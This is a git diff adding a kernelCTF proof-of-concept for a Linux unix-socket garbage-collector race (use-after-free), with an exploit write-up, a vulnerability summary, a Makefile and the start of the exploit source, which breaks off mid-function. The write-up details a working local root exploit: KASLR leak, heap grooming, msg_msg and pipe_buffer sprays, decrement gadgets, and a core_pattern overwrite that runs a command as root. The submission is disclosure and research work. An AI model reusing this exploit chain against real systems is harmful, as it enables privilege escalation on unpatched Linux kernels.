diff --git a/pocs/linux/kernelctf/CVE-2026-23394_lts_cos_mitigation/docs/exploit.md b/pocs/linux/kernelctf/CVE-2026-23394_lts_cos_mitigation/docs/exploit.md new file mode 100644 index 000000000..ea8051183 --- /dev/null +++ b/pocs/linux/kernelctf/CVE-2026-23394_lts_cos_mitigation/docs/exploit.md @@ -0,0 +1,592 @@ +# CVE-2026-23394 + +The exploits for LTS and COS are similar, therefore the COS version is a symlink to the LTS version. + +## Overview + +```c +// @step(name="Exploit attempt (forked)") +pid_t pid = fork(); +if (pid == 0) { + race_ctx ctx{}; + ctx.gc_delay = gc_delay; + + // @step(name="Step 1: Preparation") + vuln_prepare(&ctx); + // @step(name="Step 2: Race between unix GC and recv+close") + trigger_vuln_race(&ctx); + // @step(name="Step 3: Spray msg_msg to reclaim freed OOB skb slot") + if (!vuln_trigger_only) + spray_cross_cache_fake_skbs(&ctx, &target, kernel_base); + // @step(name="Step 4: recv(MSG_OOB) triggers destructor gadget") + rip_oob_skb_destructor(ctx.victim_fd); + // @step(name="Step 5: Overwrite core_pattern and trigger crash") + privesc_core_pattern(); +} +``` + +## Step 0: KASLR bypass + +Before entering the main exploit loop, we leak the kernel base address using a timing side-channel (`leak_kaslr_base` from the `xdk` framework). This is needed to compute absolute addresses for the decrement gadget, `core_pattern.mode`, and the `.bss` section used in the fake skb spray. + +## Step 1: Preparation + +We build a long cycle of unix sockets to make the window between the first socket check and the last socket check longer. + +```c +#define NUM_DUMMY 800 // length of the long cycle of sockets +``` + +victim (checked first) -> dummy[0] -> dummy[1] -> ... -> dummy[NUM_DUMMY - 1] -> receiver (checked last) + +For further exploitation, we groom the `skbuff_head_cache` and send MSG_OOB sandwiched between 16 skbs from both sides. + +This ensures that we have the freelist saturated and get a fresh page from the buddy on which we control all the slots (including the MSG_OOB slot) and can free them at once to send the page to PCP. + +The skb is 256 bytes in size so we have 16 skbs on a page. Therefore the sandwiched skb is guaranteed to be surrounded by these 16 skbs from both sides. 33 allocations span at least 3 pages and while the edge pages can be partly occupied by other objects, the middle page with the MSG_OOB is fully controlled by our allocations. + +This MSG_OOB will be used for RIP control via `oob_skb->prev->destructor` in Step 4. + +## Step 2: Race between unix GC and recv+close + +The race window depends on the time it takes the GC to iterate through all dummy sockets. We must start our race after the victim gets checked. Since this timing varies across machines and runs, we use an adaptive delay: the `busywait_ns` delay starts at 5 us and increases by 1 us every 5 attempts, resetting to the start value when it reaches 30 us. This sweep ensures we eventually hit the right timing. + +```mermaid +sequenceDiagram + participant GC as GC thread (CPU 0) + participant K as Kernel state + participant R as recv thread (CPU 1) + + Note over GC: trigger_gc_and_wait() triggers unix_gc() + Note over R: busywait_ns(delay) + + GC->>K: unix_vertex_dead(victim) + Note over K: f_count=1, inflight=1 → TRUE + + GC->>K: unix_vertex_dead(dummy[0..799]) + Note over GC,K: checking 800 dummy sockets... + + Note over GC,R: ← race window → + + R->>K: recv_fd(receiver, MSG_PEEK) + Note over K: victim f_count: 1 → 2 (has userspace ref!) + + R->>K: close(receiver) + Note over K: receiver f_count: 2 → 1 (only inflight) + + GC->>K: unix_vertex_dead(receiver) + Note over K: f_count=1, inflight=1 → true (but we have a fd to victim!) + + GC->>K: All vertices "dead" → purge SCC + Note over K: GC frees victim's OOB skb → UAF +``` + +## Step 3: Spray msg_msg to reclaim freed OOB skb slot + +Now the GC has purged the `victim.receive_queue`, so all skbs in it have been freed and we can't access them through the queue anymore. + +But the kernel saves a pointer to one skb in `victim.oob_skb`. The last skb sent with MSG_OOB is saved in this field. + +Therefore we can access the freed OOB skb through `recv(victim, MSG_OOB)`. Internally this will call `unix_stream_recv_urg`. + +```c +static int unix_stream_recv_urg(struct unix_stream_read_state *state) +{ + // ... + + oob_skb = u->oob_skb; + + if (!(state->flags & MSG_PEEK)) { + WRITE_ONCE(u->oob_skb, NULL); + WRITE_ONCE(u->inq_len, u->inq_len - 1); + + if (oob_skb->prev != (struct sk_buff *)&sk->sk_receive_queue && + !unix_skb_len(oob_skb->prev)) { + read_skb = oob_skb->prev; // [1] + __skb_unlink(read_skb, &sk->sk_receive_queue); + } + } + + // ... read a byte from the OOB skb + + consume_skb(read_skb); // [2] + + // ... +} +``` + +The skbs are stored in a separate cache (`skbuff_head_cache`), so we need a cross-cache spray. To do that, we groom the cache by sending many skbs before the target OOB skb. Also, we send the OOB skb inside a sandwich to make sure we have full control of a page with the target skb and can free all skbs on that page. + +Before the spray, we free grooming skbs, which saturate the freelist, and free the surrounding sandwich skbs. The OOB skb slot was already freed by the GC in Step 2, so now all 16 slots on its page are free and the page goes straight to the PCP, allowing us to pick it up in the next allocation. + +There are many options for spraying now. One approach is the pipe write spray, but it requires either a heap leak or physical page spraying (NPerm). On the other hand, there is `msg_msg` which naturally gives us a valid kernel pointer to our payload at the `skb->prev` offset (0x8): multiple `msg_msg` objects in the same queue form a doubly-linked list via `m_list`, so `m_list.prev` (at offset 0x8, overlapping `skb->prev`) points to the previous `msg_msg` which also contains our fake skb payload. We lose the first 48 bytes to the `msg_msg` header, but we don't need them anyway. + +The spray builds a fake skb: + +```c +memset(fake_skb_msg.mtext, 0, msg_data_sz); +*(uint64_t*)&fake_skb_msg.mtext[gadget_read_off - msg_msg_sz] = target_for_first_deref; +*(uint64_t*)&fake_skb_msg.mtext[skb_off_destructor - msg_msg_sz] = destructor_gadget; +*(uint32_t*)&fake_skb_msg.mtext[skb_off_users - msg_msg_sz] = 1; +// we need nullified memory to avoid kernel crash due to presence of fragments +*(uint64_t*)&fake_skb_msg.mtext[skb_off_head - msg_msg_sz] = bss_section; +``` + +Here we set the `skb->destructor` pointer and `skb->users` for RIP control. `consume_skb` will decrement `skb->users` and compare it to 0; after that it will free the skb, which calls `skb->destructor`. + +The `head` field is filled just to avoid crashing the kernel, because in `unix_stream_recv_urg` we read a byte from the skb and the kernel will try to free all the fragments. We must make sure that we have 0 fragments by setting `head` to zeroed memory such as the `.bss` section. In that case, the kernel can't read or free anything. + +At `gadget_read_off` (0x38) we store the address `core_pattern_mode - gadget_deref_offset`. The gadget reads `[rdi+0x38]` to get this value, then decrements at `[value + deref_offset]`, which resolves to `core_pattern.mode`. + +Since `oob_skb` memory is now occupied by the sprayed `msg_msg`, `oob_skb->prev` (offset 0x8) points to the previous `msg_msg` in the queue - a valid kernel pointer that won't equal `&sk->sk_receive_queue`. The spray is zeroed, which also ensures `unix_skb_len(oob_skb->prev)` returns 0, so the condition passes and `read_skb` is set to `oob_skb->prev` [1]. Then `consume_skb(read_skb)` [2] calls `read_skb->destructor`, giving us RIP control. + +## Step 4: recv(MSG_OOB) triggers destructor gadget + +After we call `recv(victim, MSG_OOB)`, the kernel calls `unix_stream_recv_urg`, which calls `consume_skb(victim->oob_skb->prev)`, which calls `oob_skb->prev->destructor`. In our fake structure, the `destructor` field is set to a decrement gadget. + +The gadget for the LTS target looks like: + +```asm +movq %rdi, (%rdi) +movq 0x38(%rdi), %rdi +lock decl 0x100(%rdi) +je 0xffffffff812494ee ; <+30> at tasks.h:417:3 +jmp 0xffffffff828873b0 ; __x86_return_thunk +``` + +For COS the gadget is structurally the same but uses `0xf8` as the decrement displacement instead of `0x100`. + +When our gadget is called, we have a pointer to our fake skb in `rdi`. We have calculated the offsets in our spray to decrement the `core_pattern.mode` field and make `sysctl.core_pattern` world-writable. + +## Step 5: Overwrite core_pattern and trigger crash + +After `recv(victim, MSG_OOB)` is finished, we have `sysctl.core_pattern` world-writable, so we just write `|/bin/dd if=/flag of=/dev/kmsg` to it and crash a child, which will execute the payload as root, piping the flag to the kernel messages buffer. + +## Reliability + +The reliability was measured across 500 consecutive runs on the LTS instance. Overall reliability is 99.8% with 1 crash caused by a failure during oob_skb slot reclamation with msg_msg spray (300 pages). This failure can be mitigated by increasing the grooming for both `skbuff_head_cache` (skb cache, ensure that the target slot page is fully controlled and gets freed) and `kmalloc-cg-256` (msg_msg cache, ensure that the freed page gets picked from the PCP and not from the freelist). + +# Mitigation + +On the mitigation instance we have `CONFIG_SLAB_VIRTUAL` and `CONFIG_RANDOM_KMALLOC_CACHES` enabled, so we need another approach since we can't do cross-cache spray to reclaim `skbuff_head_cache` object (`oob_skb`). + +Overview: + +Race unix_destruct_scm vs MSG_PEEK (get a file descriptor for a freed file) -> reclaim the slot with pipe read-end -> grow pipe_buffers to 250 elements to allocate `pipe_buffers` via `kmalloc_large` without using the slab -> free the pipe holding the UAF fd (Order-2 page (`pipe->bufs`) goes to the PCP) -> spray an Order-2 page via unix socket write to reclaim `pipe->bufs` -> call splice on the freed pipe, which calls `pipe_buf->confirm` with the decrement gadget -> decrement `core_pattern.mode` -> rewrite core_pattern and crash a child. + +```c +// @step(name="Exploit attempt (forked)") +pid_t pid = fork(); +if (pid == 0) { + // Use the same per cpu caches for all allocations + // groom cpu0, create all the files on cpu0, free them on cpu0 and spray on cpu0 + // details about CPU pinning are in the documentation + pin_to_cpu(0); + + race_context ctx{}; + ctx.gc_delay = gc_delay; + ctx.scm_fp_dup_delay = scm_fp_dup_delay; + + // @step(name="Step 1: Preparation - create a long cycle of unix sockets") + vuln_prepare(&ctx); + + // @step(name="Step 2: Heap grooming") + groom_filp_cache(); + + // @step(name="Step 3: Race between unix GC and recv+close") + // @step(name="Step 4: Race between unix_destruct_scm and scm_fp_dup") + trigger_race(&ctx); + + // @step(name="Step 5: Replace eventfd with pipe read-end") + pipe_fds uaf_pipe = convert_uaf_file_into_pipe(ctx.spray_fds, ctx.uaf_alias_fd); + + // @step(name="Step 6: Grow pipe_buffers to kmalloc_large allocation outside slab") + grow_pipe_buffers(&uaf_pipe); + + // Create a socketpair for Step 8 to avoid reclamation of the uaf_pipe + // we will close the pipe in Step 7 and a new file can reclaim the slot + int splice_sock[2]; + socketpair(AF_UNIX, SOCK_STREAM, 0, splice_sock); + + // @step(name="Step 7: Free pipe->bufs and spray fake pipe_buffers") + free_pipe_and_spray_fake_bufs(&uaf_pipe, splice_sock[0], &target, kernel_base); + + // @step(name="Step 8: RIP control via splice => pipe->bufs->confirm") + rip_pipe_buf_confirm(ctx.uaf_alias_fd, splice_sock[1]); + + // @step(name="Step 9: Privilege escalation via core_pattern") + privesc_core_pattern(); +} +``` + +## CPU pinning + +By default we pin the exploit to CPU0. This is needed for these reasons: + +1. In `vuln_prepare` we create many eventfd (251) and CPU1 will iterate over these files calling `get_file`. The allocations on CPU0 ensure that we have more cache misses and a wider pivot race window. +2. We groom the filp cache on CPU0, which ensures the slab with `target_file` is full and the cpu partial list has a minimum number of slabs. This is needed to force the slab to go to the cpu partial list, which helps to reclaim the `target_file` slot more reliably. + +## Step 1: Preparation - create a long cycle of unix sockets + +This step is quite similar to the LTS one. In the LTS version we sent MSG_OOB to the `victim_socket`, whereas on the mitigation instance we send many files to it (251 eventfds). + +When the GC purges `victim.receive_queue`, it will also call `fput` on all these files, and if `fput` drops the last reference the file will be freed. Therefore we can pick these files up after they are freed, getting a general UAF on any chosen `struct file`. + +When we send files over a unix socket, the kernel creates `struct scm_fp_list` which holds pointers to all these files. + +```c +#define SCM_MAX_FD 253 + +struct scm_fp_list { + short count; + short count_unix; + short max; +#ifdef CONFIG_UNIX + bool inflight; + bool dead; + struct list_head vertices; + struct unix_edge *edges; +#endif + struct user_struct *user; + struct file *fp[SCM_MAX_FD]; +}; + +fpl = kmalloc(sizeof(struct scm_fp_list), GFP_KERNEL_ACCOUNT); +``` + +In the mainline kernels this structure is fixed in size and calculated from the `SCM_MAX_FD` (maximum files we can send over a socket). + +Finally this structure is 2064 bytes (40 bytes header and 253 pointers) in size and is allocated in `kmalloc-cg-4096`. Therefore when it is freed the freelist pointer resides at offset 2048 bytes, so we can safely send 251 files which guarantees that we don't crash the kernel dereferencing the freelist pointer. + +The last file is `target_file` because we will close all the references to it and the GC will `fput` the last one, freeing the file. Also, we send a file right before and right after the skb with these files - this creates skbs that prevent the slab from emptying. + +The interesting part is that `CONFIG_RANDOM_KMALLOC_CACHES` helps us here, because the probability of `scm_fp_list` reclamation by other allocations is quite low, so we can safely assume the stale data remains intact during the race. + +## Step 2: Heap grooming + +One approach to peek the freed file is to close all the references from userspace, so the GC will `fput` the last reference to it. There is at least one other approach (reclaim the `scm_fp_list`), but I have implemented this one. + +But before the kernel installs a file descriptor for this freed file, it will run security hooks dereferencing `target_file.f_security`, which is nullified when freed. + +To mitigate the null pointer dereferencing we must reclaim the freed slot before this. To make the reclamation more reliable we need to groom the `filp` slab. This helps to ensure that: + +1. The slab with `target_file` is full and will go to cpu partial list after freeing +2. The cpu partial list is empty and we don't exceed the cpu partial list size limit + +Overall the grooming stage is needed to increase the reliability of `target_file` reclamation. + +To groom the cache we allocate 300 `struct file` objects via the `eventfd` syscall. + +## Step 3: Race between unix GC and recv+close + +This step is similar to the LTS version, but since we need to reliably reclaim `target_file` we can't free many `struct file` objects (which would force the slab containing `target_file` to go to the node partial list). Therefore instead of sending 800 sockets, we send just 100 to initially increase the race window size and widen it further using a timerfd storm. + +So the differences: + +1. 100 sockets instead of 800 +2. timerfd storm to widen the race window + +## Step 4: Race between unix_destruct_scm and scm_fp_dup + +A destructor for the unix sockets skb is `unix_destruct_scm`. This function frees all the structures related to Unix sockets and calls `fput` for all files in `skb.fp` - pointer to `scm_fp_list` which contains the target file. + +```c +static void unix_destruct_scm(struct sk_buff *skb) +{ + struct scm_cookie scm; + + memset(&scm, 0, sizeof(scm)); + scm.pid = UNIXCB(skb).pid; + if (UNIXCB(skb).fp) + unix_detach_fds(&scm, skb); + + scm_destroy(&scm); // calls __scm_destroy + sock_wfree(skb); +} + +static void unix_detach_fds(struct scm_cookie *scm, struct sk_buff *skb) +{ + scm->fp = UNIXCB(skb).fp; + UNIXCB(skb).fp = NULL; // [1] + + unix_destroy_fpl(scm->fp); +} + +void __scm_destroy(struct scm_cookie *scm) +{ + struct scm_fp_list *fpl = scm->fp; + int i; + + if (fpl) { + scm->fp = NULL; + for (i=fpl->count-1; i>=0; i--) + fput(fpl->fp[i]); + free_uid(fpl->user); + kfree(fpl); + } +} +``` + +The tricky part is that the pointer to `scm_fp_list` is nullified [1] just after assigning it to `scm`. Therefore we need a method to peek the files from the `skb` saving this pointer somewhere before it is nullified. + +When we use `recv` with `MSG_PEEK` we copy the `scm_fp_list` in `unix_peek_fds`. + +```c +static void unix_peek_fds(struct scm_cookie *scm, struct sk_buff *skb) +{ + scm->fp = scm_fp_dup(UNIXCB(skb).fp); +} + +struct scm_fp_list *scm_fp_dup(struct scm_fp_list *fpl) // [2] +{ + struct scm_fp_list *new_fpl; + int i; + + if (!fpl) + return NULL; + + new_fpl = kmemdup(fpl, offsetof(struct scm_fp_list, fp[fpl->count]), + GFP_KERNEL_ACCOUNT); + if (new_fpl) { + for (i = 0; i < fpl->count; i++) + get_file(fpl->fp[i]); // [3] + } + return new_fpl; +} +``` + +After we have entered into `scm_fp_dup` the pointer has been saved [2] and we can safely call `unix_destruct_scm` on the skb with `target_file`. + +Here we have a small loop over our 251 files calling `get_file` [3] on each. The `target_file` is the last file in this list, so we must let the GC finish `unix_destruct_scm` after entering this function but before `get_file(target_file)` [3]. + +To make this window wider we use: + +1. Sending the maximum number of files as described in Step 1 to maximize loop iterations. +2. File allocations on CPU0 while running this function on CPU1. This ensures many cache misses. +3. Timerfd storm. +4. The `WARN_ONCE` triggered by `get_file(target_file)` with f_count=0, which gives us another ~100ms of stall while the kernel prints the warning message. + +While the warning is being printed, we spray 300 eventfd files on CPU0 to reclaim `target_file`. We must finish the reclamation before CPU1 finishes printing and dereferences `target_file.f_security`. + +Before the spray we sleep for 20ms to ensure delayed work is processed, because the GC called `fput` with the last reference in kernel thread context, so `__fput` is called only after a 1-jiffy delay and we must wait for it to finish before spraying files. + +The races scheme: + +```mermaid +sequenceDiagram + participant T0 as gc_thread (CPU 0) + participant T1 as recv_thread (CPU 1) + + T0->>T0: trigger_gc() + + rect rgb(255, 243, 224) + Note over T0,T1: Vulnerability window + + T0->>T0: unix_vertex_dead(victim) = TRUE + Note over T0: [STALL] timerfd storm (100 x 4us) + Note over T0: iterating 100 dummy sockets + + T1->>T1: recv_fd(receiver, MSG_PEEK) = victim_fd + T1->>T1: close(receiver) + + T0->>T0: unix_vertex_dead(receiver) = TRUE + end + + rect rgb(255, 228, 225) + Note over T0,T1: Pivot window + + T1->>T1: recv_fds(victim, MSG_PEEK) + Note over T1: scm_fp_dup: fpl saved, loop 251x get_file + Note over T1: [STALL] timerfd storm (250 x 4us) + + T0->>T0: splice(victim.receive_queue) + T0->>T0: unix_destruct_scm + T0->>T0: fput(target_file): f_count 1 to 0 + Note over T0: __fput queued (1 jiffy delay) + + T1->>T1: get_file(target_file): f_count 0 to 1 + Note over T1: WARN_ONCE, dmesg I/O stall ~100ms + + T0->>T0: sleep 20ms, wait for __fput + T0->>T0: spray 300 eventfd, reclaim slot + end + + T1->>T1: recv returns uaf_alias_fd + Note over T0,T1: uaf_alias_fd + spray_fd = same struct file, f_count=1 +``` + +## Step 5: Replace eventfd with pipe read-end + +To exploit the dangling file descriptor primitive we convert the file to pipe read-end. + +This is done by closing all the sprayed files and spraying pipes searching for a file with the same `inode` as `target_file`. We might get the write-end; in that case, we retry until we get the pipe read-end. + +## Step 6: Grow pipe_buffers to kmalloc_large allocation outside slab + +On the mitigation instance we can't do cross-cache attacks because of virtual addresses for slabs. + +But `kmalloc` doesn't use SLAB for allocations greater than 2 pages (8,192 bytes). In that case it uses `kmalloc_large` picking pages directly from the buddy. + +Pipes have a structure for holding pipe buffers in `pipe->bufs`. The size of this structure can be manipulated by increasing the count of pipe buffers. Each pipe buffer is 40 bytes in this structure. + +This structure is allocated by `kcalloc`, so if we increase it to more than 8,192 bytes we will allocate an Order-2 page outside the slab, avoiding all the mitigations. + +```c +pipe->bufs = kcalloc(pipe_bufs, sizeof(struct pipe_buffer), + GFP_KERNEL_ACCOUNT); +``` + +## Step 7: Free pipe->bufs and spray fake pipe_buffers + +To free the `pipe->bufs` we just close both ends. + +Each `pipe_buffer` has a pointer to a table of functions: + +```c +struct pipe_buffer { + struct page *page; + unsigned int offset, len; + const struct pipe_buf_operations *ops; + unsigned int flags; + unsigned long private; +}; +``` + +We intend to pivot our UAF on pipe read-end into RIP control through `pipe_buffer->ops->confirm`. + +```c +static void spray_fake_pipe_buffers(int spray_socket_fd, Target *target, uint64_t kernel_base) { + char *buf = (char*)malloc(PIPE_BUF_DATA_SIZE); + memset(buf, 0, PIPE_BUF_DATA_SIZE); + + uint64_t pipe_buffer_ops_off = target->GetFieldOffset("pipe_buffer", "ops"); + + uint64_t ql_ps_end_io = kernel_base + target->GetSymbolOffset("ql_ps.end_io"); + uint64_t dec_target = kernel_base + target->GetSymbolOffset("core_pattern_mode") - DEC_GADGET_DEREF_OFFS; + + // ops->confirm reads the ql_end_io function pointer = decrement gadget + *(uint64_t*)(buf + pipe_buffer_ops_off) = ql_ps_end_io; + // ql_end_io: movq 0x8(%rsi), %rax; lock decl 0x1c(%rax) + // -> decrements core_pattern_mode from 0644 to 0643 + *(uint64_t*)(buf + DEC_GADGET_READ_OFFS) = dec_target; + + // Reclaim the freed Order-2 page with attacker-controlled data via socket write buffer. + write(spray_socket_fd, buf, PIPE_BUF_DATA_SIZE); +} +``` + +The spray is performed by writing to a unix socket. This syscall can help us allocate Order-2 pages with full control of the content. + +In the spray we just fill the pointer to `ops`. The `confirm` method is located at offset 0 in this vtable. + +Since we use the [DirtyMode](https://github.com/google/security-research/blob/454a08206a7a076259ee9abb9602acbbbbe6ceb3/pocs/linux/kernelctf/CVE-2025-40214_mitigation/docs/novel-techniques.md#dirtymode-privilege-escalation-with-weak-write-primitives) technique, we have a wide variety of suitable gadgets that give us an arbitrary decrement. We have RIP control with our structure in `rsi`. + +Therefore we find the decrement gadget as a real function stored in a real vtable. This avoids fake vtable spraying and eliminates the need for a heap leak, increasing reliability. For example, we use `ql_ps_end_io` which does: + +```asm +movq 0x8(%rsi), %rax +lock decl 0x1c(%rax) +``` + +We also fill `rsi + 0x8` with the target for decrementing - `core_pattern.mode` which will be world-writable after we decrement it from 0644 to 0643 (we just need the second bit (0x2) to be true). + +## Step 8: RIP control via splice => pipe->bufs->confirm + +Now we have `pipe->bufs` filled with our fake buffer. Also we have a dangling file descriptor to the read end of this pipe. So we just call `splice` from this pipe to a socket. Before calling splice, we: + +1) `unshare` the file table to ensure we use the light path in `fdget` and don't get stuck in a forever loop trying `atomic_inc_not_zero()` +2) `shutdown` the socket so that after the `pipe->bufs->confirm` gadget fires, the splice fails fast with -EPIPE without touching other corrupted data: + +```c +ssize_t splice_to_socket(struct pipe_inode_info *pipe, struct file *out, + loff_t *ppos, size_t len, unsigned int flags) +{ + // ... + + while (len > 0) { + // ... + + while (pipe_empty(pipe->head, pipe->tail)) { + // ... + + pipe_wait_readable(pipe); + } + + // ... + + while (!pipe_empty(head, tail)) { + // ... + + ret = pipe_buf_confirm(pipe, buf); + if (unlikely(ret)) { // gadget zeroes rax so we don't break + if (ret == -ENODATA) + ret = 0; + break; + } + + // ... + } + + // ... + + ret = sock_sendmsg(sock, &msg); + if (ret <= 0) // we forced early exit so ret = -EPIPE + break; + // ... + } + +out: + pipe_unlock(pipe); + if (need_wakeup) + wakeup_pipe_writers(pipe); + return spliced ?: ret; +} + + +static int unix_stream_sendmsg(struct socket *sock, struct msghdr *msg, + size_t len) +{ + // ... + + // we must force early exit to not deal with corrupted structures + if (READ_ONCE(sk->sk_shutdown) & SEND_SHUTDOWN) + goto pipe_err; + + // ... +} +``` + +Now we have the UAF file descriptor that is pointing to the pipe read-end with `f_count` == 0. Therefore on exit the kernel will crash. The cleanup is handled by `corrupted_fd_cleanup(fd)`. This function reclaims the freed slot so we have 2 fds to a file with f_count == 1, then mmaps this file (f_count == 2), then closes both fds (f_count goes to zero safely) and unmaps the mapping, which gives us f_count == -1 but is safe. + +This results in removing the file descriptor whithout crashing. + +## Step 9: Privilege escalation via core_pattern + +This step is the same as in the LTS version. + +## Timerfd storm to expand a race window + +To expand the race windows we use many interrupts via timerfd: + +1. Pin the thread to a CPU +2. Create timers spaced 4,000 ns apart + +The number of timers is calculated by dividing the target stall time by the timerfd step. + +The step was chosen so that once a timer is processed, the next one is already firing, which creates a reliable stall with a deterministic duration. + +## Reliability notes + +The overall reliability is 100% across 550 runs on the mitigation instance. But in theory the exploit can fail if: + +1. Hypervisor steals the CPU before `target_file` reclamation, resulting in a null `f_security` dereference. In this case the alternative approach with `scm_fp_list` reclamation is more reliable because the underlying file doesn't get freed and `get_file(target_file)` is also not called. +2. The CPU is too fast or too slow for the minimum and maximum timings. In this case we can expand the timing bounds. Also, we can adjust the step for the timerfd storm. This can be done automatically by measuring memory latencies, CPU frequency, and timerfd processing timings. But for the kernelCTF submission we use these empirically chosen values. + +Anyway I have not seen this while testing. + +The high reliability is ensured by: + +1. Heap grooming and a small number of sockets in the cycle to ensure deterministic `target_file` reclamation +2. Increasing `pipe->bufs` to the Order-2 allocation to ensure a reliable one-shot reclamation (also this helps to bypass the mitigations) +3. Using a pre-existing kernel vtable for `pipe_buffer->ops` to avoid spraying a fake vtable +4. Forked attempts to automatically cleanup after a failed attempt diff --git a/pocs/linux/kernelctf/CVE-2026-23394_lts_cos_mitigation/docs/vulnerability.md b/pocs/linux/kernelctf/CVE-2026-23394_lts_cos_mitigation/docs/vulnerability.md new file mode 100644 index 000000000..7523b271d --- /dev/null +++ b/pocs/linux/kernelctf/CVE-2026-23394_lts_cos_mitigation/docs/vulnerability.md @@ -0,0 +1,30 @@ +# CVE-2026-23394 + +- Requirements: + - Capabilities: not required + - Kernel configuration: `CONFIG_UNIX=y` + - User namespaces: not required +- Introduced by: https://git.kernel.org/pub/scm/linux/kernel/git/torvalds/linux.git/commit/?id=118f457da9ed58a79e24b73c2ef0aa1987241f0e (af_unix: Remove lock dance in unix_peek_fds().) +- Fixed by: https://git.kernel.org/pub/scm/linux/kernel/git/torvalds/linux.git/commit/?id=e5b31d988a41549037b8d8721a3c3cae893d8670 (af_unix: Give up GC if MSG_PEEK intervened.) +- Affected Versions: 6.10 - 6.18 +- Affected component, subsystem: net/unix (Unix Sockets) +- Cause: Race Condition leading to UAF +- URL: https://www.cve.org/CVERecord?id=CVE-2026-23394 +- A regression to CVE-2021-0920: Android sk_buff use-after-free in Linux. + +## Description + +There is a race condition in the Linux kernel's Unix Sockets Garbage Collector +(`net/unix/garbage.c`) where an inflight file's `f_count` can be incremented by +using `MSG_PEEK` after the GC decides that the file is a garbage candidate but +before the GC finishes checking. + +It is possible to peek an inflight unix socket from another socket and then close +the receiver. In this case the GC checks both sockets as a garbage candidate, +treating the entire SCC as dead. + +The patch uses `seqcount_t` for flagging that `MSG_PEEK` has occurred. At the +start of an SCC checking the patch saves the counter and checks if any +`MSG_PEEK` intervened before the final decision. This guarantees that `MSG_PEEK` +can't change the GC internal state and affect the GC decision right in the middle +of the checking. diff --git a/pocs/linux/kernelctf/CVE-2026-23394_lts_cos_mitigation/exploit/cos-121-18867.294.134 b/pocs/linux/kernelctf/CVE-2026-23394_lts_cos_mitigation/exploit/cos-121-18867.294.134 new file mode 120000 index 000000000..d74350e22 --- /dev/null +++ b/pocs/linux/kernelctf/CVE-2026-23394_lts_cos_mitigation/exploit/cos-121-18867.294.134 @@ -0,0 +1 @@ +lts-6.12.74 \ No newline at end of file diff --git a/pocs/linux/kernelctf/CVE-2026-23394_lts_cos_mitigation/exploit/lts-6.12.74/Makefile b/pocs/linux/kernelctf/CVE-2026-23394_lts_cos_mitigation/exploit/lts-6.12.74/Makefile new file mode 100644 index 000000000..ef39782af --- /dev/null +++ b/pocs/linux/kernelctf/CVE-2026-23394_lts_cos_mitigation/exploit/lts-6.12.74/Makefile @@ -0,0 +1,36 @@ +CC := g++ +CPPFLAGS := -Ikernel-research/libxdk/include +CFLAGS := -O0 -static -std=c++17 -pthread +LDFLAGS := -Lkernel-research/libxdk/lib +LDLIBS := -lkernelXDK -lpthread + +TARGETS := exploit exploit_debug +SRC := exploit.cc + +.PHONY: all prerequisites run clean + +all: prerequisites exploit + +prerequisites: target_db.kxdb kernel-research/libxdk/lib/libkernelXDK.a + +target_db.kxdb: + wget -O $@ https://storage.googleapis.com/kernelxdk/db/kernelctf.kxdb + +kernel-research: + git clone --depth 1 https://github.com/google/kernel-research.git $@ + +kernel-research/libxdk/lib/libkernelXDK.a: | kernel-research + cd kernel-research/libxdk && ./build.sh + +exploit: $(SRC) + $(CC) $(CPPFLAGS) $(CFLAGS) $< -o $@ $(LDFLAGS) $(LDLIBS) + +exploit_debug: CFLAGS += -g +exploit_debug: $(SRC) + $(CC) $(CPPFLAGS) $(CFLAGS) $< -o $@ $(LDFLAGS) $(LDLIBS) + +run: exploit + ./$< + +clean: + rm -rf $(TARGETS) target_db.kxdb kernel-research diff --git a/pocs/linux/kernelctf/CVE-2026-23394_lts_cos_mitigation/exploit/lts-6.12.74/exploit b/pocs/linux/kernelctf/CVE-2026-23394_lts_cos_mitigation/exploit/lts-6.12.74/exploit new file mode 100755 index 000000000..28e03c94d Binary files /dev/null and b/pocs/linux/kernelctf/CVE-2026-23394_lts_cos_mitigation/exploit/lts-6.12.74/exploit differ diff --git a/pocs/linux/kernelctf/CVE-2026-23394_lts_cos_mitigation/exploit/lts-6.12.74/exploit.cc b/pocs/linux/kernelctf/CVE-2026-23394_lts_cos_mitigation/exploit/lts-6.12.74/exploit.cc new file mode 100644 index 000000000..bda9a8b1e --- /dev/null +++ b/pocs/linux/kernelctf/CVE-2026-23394_lts_cos_mitigation/exploit/lts-6.12.74/exploit.cc @@ -0,0 +1,535 @@ +#ifndef _GNU_SOURCE +#define _GNU_SOURCE +#endif +#include +#include +#include +#include +#include +#include +#include +#include +#include +#include +#include +#include +#include +#include +#include +#include +#include +#include +#include + +#include + +INCBIN(target_db, "target_db.kxdb"); + +#define NUM_DUMMY 800 // length of the long cycle of sockets +#define GC_SETTLE_SLEEP_US 10000 // sleep time for the GC to settle + +// used for heap grooming and freelist saturation +#define NUM_GROOM_SOCKETS 100 +#define NUM_GROOM_SKBS_PER_SOCK 100 +// number of skbs before and after the OOB skb +// to ensure we have the control of the whole page with the target skb +#define NUM_SANDWICH_SKBS 16 + +// msg_msg spray parameters +// the maximum number of msgs we can send within the 16k limit per queue +#define MSGS_PER_QUEUE 78 +// each page includes 4k/256 = 16 msg_msgs +// so we use many queues to saturate the freelist and get a fresh page from PCP +// we allocate approximately 78 * 64 = 4992 msg_msgs (300+ pages) +#define NUM_SPRAY_QUEUES 64 + +// Default open file limit is 1024 which is not enough for this exploit +#define NOFILE_LIMIT 4000 +// Safety limit to avoid long CI/CD runs if something goes wrong +#define MAX_RACE_ATTEMPTS 10000 + +// we need to find a delay for the race, nanoseconds +#define DELAY_START 5000 +#define DELAY_INCREASE 1000 +#define DELAY_MAXIMUM 30000 + +struct race_ctx { + int receiver_fd; + int victim_fd; + long gc_delay; + pthread_barrier_t barrier; + int sandwich_sv[2]; + int groom_sockets[NUM_GROOM_SOCKETS][2]; +}; + + +/* ── Utility functions ───────────────────────────────────────────── */ + +static inline void pin_to_cpu(int cpu) { + cpu_set_t set; + CPU_ZERO(&set); + CPU_SET(cpu, &set); + if (pthread_setaffinity_np(pthread_self(), sizeof(set), &set) != 0) { + fprintf(stderr, "Failed to pin to CPU %d\n", cpu); + exit(1); + } +} + +/** + * Creating and immediately closing a UNIX socket triggers unix_gc(). + * The GC is performed on the same CPU nearly right after closing the socket. + */ +static void trigger_gc_and_wait() { + int gc_sock = socket(AF_UNIX, SOCK_STREAM, 0); + close(gc_sock); + // @sleep(kernel_func="unix_gc", desc="wait for unix_gc to settle") + usleep(GC_SETTLE_SLEEP_US); +} + +static int send_fds(int sock, int *fds, int count) { + struct msghdr 